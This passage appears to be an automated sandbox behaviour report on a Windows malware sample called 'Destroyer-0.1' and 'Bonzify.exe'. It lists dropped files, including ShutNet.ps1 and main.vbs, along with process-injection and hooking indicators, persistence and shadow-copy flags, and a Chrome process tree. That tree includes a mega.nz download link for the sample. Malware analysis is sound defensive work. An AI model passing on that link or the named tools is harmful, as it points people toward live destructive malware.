File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\xref-OPENME.html:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\Analysis-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\EXE-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\Ips.txt:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\localpycs\pyimod03_ctypes.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\PYZ-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Bonzify.exe:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1.zip:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\base_library.zip:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\xref-main.html:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\SECURITY.md:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\main.bat:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.github\workflows\codeql.yml:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\PKG-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\dist\C:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\OPENME.pkg:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\PYZ-00.pyz:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\warn-OPENME.txt:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\EXE-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\localpycs\struct.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.github\ISSUE_TEMPLATE\feature_request.md:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\main.vbs:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\EXE-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\PYZ-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\warn-C.txt:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\OPENME.py:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\Analysis-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\Analysis-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\localpycs\pyimod02_importers.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\PYZ-00.pyz:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\Tree-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\main:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\CONTRIBUTING.md:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\C.pkg:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\OPENME.spec:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\base_library.zip:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\localpycs\pyimod03_ctypes.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\xref-C.html:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\localpycs\pyimod01_archive.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\PKG-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\localpycs\pyimod02_importers.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\COLLECT-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.github\ISSUE_TEMPLATE\bug_report.md:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\ShutNet.ps1:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\main.spec:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\PYZ-00.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\README.md:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\OPENME\localpycs\pyimod01_archive.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\warn-main.txt:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\localpycs\pyimod01_archive.pyc:Zone.Identifier	explorer.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1392	explorer.exe
1392	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
4968	chrome.exe
4968	chrome.exe
1516	chrome.exe
1516	chrome.exe
3612	Bonzify.exe
3612	Bonzify.exe
1392	explorer.exe
1392	explorer.exe
3612	Bonzify.exe
3612	Bonzify.exe
4420	chrome.exe
4420	chrome.exe
5300	chrome.exe
5300	chrome.exe
5300	chrome.exe
5300	chrome.exe
4788	chrome.exe
4788	chrome.exe
4012	powershell.exe
4012	powershell.exe
4012	powershell.exe
32	powershell.exe
32	powershell.exe
32	powershell.exe
5656	powershell.exe
5656	powershell.exe
5656	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1492	powershell.exe
1492	powershell.exe
1492	powershell.exe
3224	powershell.exe
3224	powershell.exe
3224	powershell.exe
4648	powershell.exe
4648	powershell.exe
4648	powershell.exe
1476	powershell.exe
1476	powershell.exe
1476	powershell.exe
5512	powershell.exe
5512	powershell.exe
5512	powershell.exe
2088	powershell.exe
2088	powershell.exe
2088	powershell.exe
2712	powershell.exe
2712	powershell.exe
2712	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
3976	powershell.exe
3976	powershell.exe
3976	powershell.exe
2660	powershell.exe
2660	powershell.exe
2660	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1392	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 22 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
4420	chrome.exe
4420	chrome.exe
4420	chrome.exe
4420	chrome.exe
5300	chrome.exe
5300	chrome.exe
5300	chrome.exe
5300	chrome.exe
5300	chrome.exe
5300	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1428	AgentSvr.exe
1428	AgentSvr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1516	chrome.exe
1428	AgentSvr.exe
1428	AgentSvr.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe
1392	explorer.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
3612	Bonzify.exe
3892	INSTALLER.exe
3048	AgentSvr.exe
5668	INSTALLER.exe
1428	AgentSvr.exe
1392	explorer.exe
3896	SearchHost.exe
5936	StartMenuExperienceHost.exe
1392	explorer.exe
4900	Bonzify.exe
4092	INSTALLER.exe
1112	AgentSvr.exe
1256	INSTALLER.exe
1012	AgentSvr.exe
1392	explorer.exe
1392	explorer.exe
6020	PickerHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 5268	2540	chrome.exe	82
PID 2540 wrote to memory of 5268	2540	chrome.exe	82
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 5108	2540	chrome.exe	83
PID 2540 wrote to memory of 1044	2540	chrome.exe	84
PID 2540 wrote to memory of 1044	2540	chrome.exe	84
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85
PID 2540 wrote to memory of 2424	2540	chrome.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://mega.nz/folder/WmAyxRaC#J76wNbsVS9RlhD0k7bjJbQ
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa0085dcf8,0x7ffa0085dd04,0x7ffa0085dd10
  2⤵
  PID:5268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1880,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=1876 /prefetch:2
  2⤵
  PID:5108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1428,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2256 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  PID:1044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2356,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2368 /prefetch:13
  2⤵
  PID:2424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3184,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3244 /prefetch:1
  2⤵
  PID:4548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3176,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3208 /prefetch:1
  2⤵
  PID:4172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4296,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4320 /prefetch:9
  2⤵
  PID:2128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5320,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5180 /prefetch:14
  2⤵
  PID:3500
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5668,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5628 /prefetch:14
  2⤵
  PID:3204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5680,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5684 /prefetch:14
  2⤵
  PID:4544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5336,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5704 /prefetch:14
  2⤵
  PID:3860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=5252,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5456 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4512,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4344 /prefetch:14
  2⤵
  PID:4876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=4348,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5144 /prefetch:1
  2⤵
  PID:4684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5820,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5788 /prefetch:1
  2⤵
  PID:832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5540,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3844 /prefetch:1
  2⤵
  PID:976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5324,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5964 /prefetch:12
